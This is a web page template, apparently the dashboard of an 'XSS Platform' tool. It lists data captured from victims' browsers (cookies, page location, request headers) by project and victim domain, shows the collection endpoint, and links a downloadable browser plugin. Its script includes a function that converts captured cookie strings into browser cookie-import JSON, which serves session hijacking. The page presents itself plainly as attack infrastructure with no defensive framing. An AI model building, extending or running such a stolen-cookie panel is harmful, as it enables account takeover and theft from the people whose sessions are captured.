<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>XSS Platform</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{$url.themePath}/css/bootstrap.min.css">
<link rel="stylesheet" href="{$url.themePath}/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="{$url.themePath}/css/css.css">
<script src="{$url.themePath}/js/jquery-1.9.1.min.js"></script>
<script src="{$url.themePath}/js/bootstrap.min.js"></script>
{literal}
<style>
#ul1 { margin:0; width:220px; overflow:scroll-x; word-break:break-all}
.ohidden ul { height:18px; overflow:hidden }
a.oall,a.un { text-decoration:none }
td { vertical-align:top }
</style>
<script type="text/javascript">
$(document).ready(function(){
	$("a.oall").click(function(){
		if($(this).attr("class")=="oall"){
			$("table tbody tr").attr("class","");
			$("a.un").html("-折叠");
			$(this).attr("class","uall");
			$(this).html("-全部");	
		}else{
			$("table tbody tr").attr("class","ohidden");
			$("a.un").html("+展开");
			$(this).attr("class","oall");
			$(this).html("+全部");	
		}
	});
	$("a.un").click(function(){
		if($(this).parent().parent().attr("class")=="ohidden"){
			$(this).parent().parent().attr("class","");
			$(this).html("-折叠");
		}else{
			$(this).parent().parent().attr("class","ohidden");
			$(this).html("+展开");	
		}
	});
});
function Delete(id,obj,token){
	if(confirm("确定删除吗?")){
		$.post('index.php?do=project&act=delcontent&r='+Math.random(),{'id':id,'token':token},function(re){
			if(re==1){
				$(obj).parent().parent().remove();
			}
		});
	}
}
function MutiDelete(){
	if(confirm("确定删除选中的内容吗?")){
		var ids=[];
		$.each($(".checon"),function(k,v){
			if($(v).is(":checked")) ids.push($(v).val());
		});
		$.post('index.php?do=project&act=delcontents&r='+Math.random(),{'ids':ids.join("|"),'token':$("#token").val()},function(re){
			if(re==1){
				$(".checon").parent().parent().remove();
			}
		});
	}
}
function CheckAll(obj){
	if($(obj).is(":checked")){
		$(".checon").attr("checked","checked");
	}else{
		$(".checon").removeAttr("checked");
	}
}
function Copy(obj) { 
  var table = $(obj).parent().parent(); 
  var l = table.find("#location").text(); 
  var c = table.find("#cookie").text(); 
  var t = l.split('//')[1]; 
  t = t.split('/')[0]; 
  var d = ""; 
  var t2 = t.split('.'); 
  for (key in t2) { 
    if (key == 0) { 
      continue; 
    } 
    d = d + '.' + t2[key]; 
  }; 
  var arr = c.split(';'); 
  var data = []; 
  for (var key in arr) { 
    var arr2 = arr[key].split('='); 
    data.push(cookie(d,arr2[0], arr2[1])); 
  } 
  alert(JSON.stringify(data)); 
} 

function cookie(d,n,v) 
{ 
  var row ={     
    "domain" : d, 
    "expirationDate" : Math.round(new Date().getTime()/1000)+3600, 
    "hostOnly" : false, 
    "httpOnly" : false, 
    "name" : n.replace(/^\s+|\s+$/g,''), 
    "path" : "\/", 
    "secure" : false, 
    "session" : false, 
    "storeId" : "0", 
    "value" : v.replace(/^\s+|\s+$/g,'') 
    }; 
  return row; 
}
</script>
{/literal}
</head>
<body>
{include file="header.html"}
<div class="container">
{include file="menus.html"}
<div class="col-sm-9">
          <div class="panel panel-default">
    	<div class="panel-heading">项目内容<a style="font-size:12px; margin-left:10px; float:right;" href="/index.php?do=project&act=viewcode&id={$project.id}">查看代码</a>
    	<a style="font-size:12px;float:right;" href="/index.php?do=project&act=setcode&id={$project.id}">配置</a>
		</div>
<table class="table" border="0" cellspacing="0" cellpadding="0">
	<div style="padding: 10px 15px;">
    <h3>
    	项目名称: {$project.title}
    </h3>
    Domain: 
    <select onchange="location.href='/index.php?do=project&act=view&id={$project.id}&domain='+this.value">
    	<option value="">全部</option>
        {foreach from=$domains item=v}
        <option value="{$v}"{if $v==$domain} selected="selected"{/if}>{$v}</option>
        {/foreach}
    </select> 
    <br />
    接口地址: /do/auth/{$project.authCode} ( 加 /domain/xxx 可通过域名过滤内容) <a id="plugin" href="/xsser.crx" download><button class="btn btn-success">安装插件</button></a>
    </div>
	<thead>
		<tr>
			<th width="20"><input type="checkbox" id="checkall" onclick="CheckAll(this)" /></th>
        	<th width="60"><a href="javascript:void(0)" class="oall" style="font-weight:normal">+全部</a></th>
        	<th width="120">时间</th>
        	<th width="220">接收的内容</th>
			<th width="220">Request Headers</th>
            <th width="80">操作</th>
		</tr>
	</thead>
	<tbody>
		{foreach from=$contents item=v}
		<tr class="ohidden">
			<td><input type="checkbox" class="checon" value="{$v.id}" /></td>
        	<td><a href="javascript:void(0)" class="un">+展开</a></td>
        	<td>{$v.addTime|@date_format:"%Y-%m-%d %H:%M:%S"}</td>
			<td>
                <ul id="ul1">
                {foreach from=$v.content key=ck item=c}
                <li>{$ck} : {$c}</li>
                {/foreach}	
                </ul>
            </td>
            <td>
                <ul id="ul1">
                {foreach from=$v.serverContent key=sk item=s}
                <li>{$sk} : {$s}</li>
                {/foreach}	
                </ul>
            </td>
            <td><a href="javascript:void(0)" onclick="Delete('{$v.id}',this,'{$show.user.token}')">删除</a>
			<!--
			&nbsp;&nbsp;<a href="javascript:void(0)" onclick="Copy(this)">复制</a> 
			-->
			</td>
		</tr>
		{/foreach}
	</tbody>
</table>
<div style="padding:5px 10px">选中项操作：<a href="javascript:void(0)" onclick="MutiDelete()">删除</a></div>
</div>
</div>
</div>
<input type="hidden" id="token" value="{$show.user.token}" />
</body>
</html>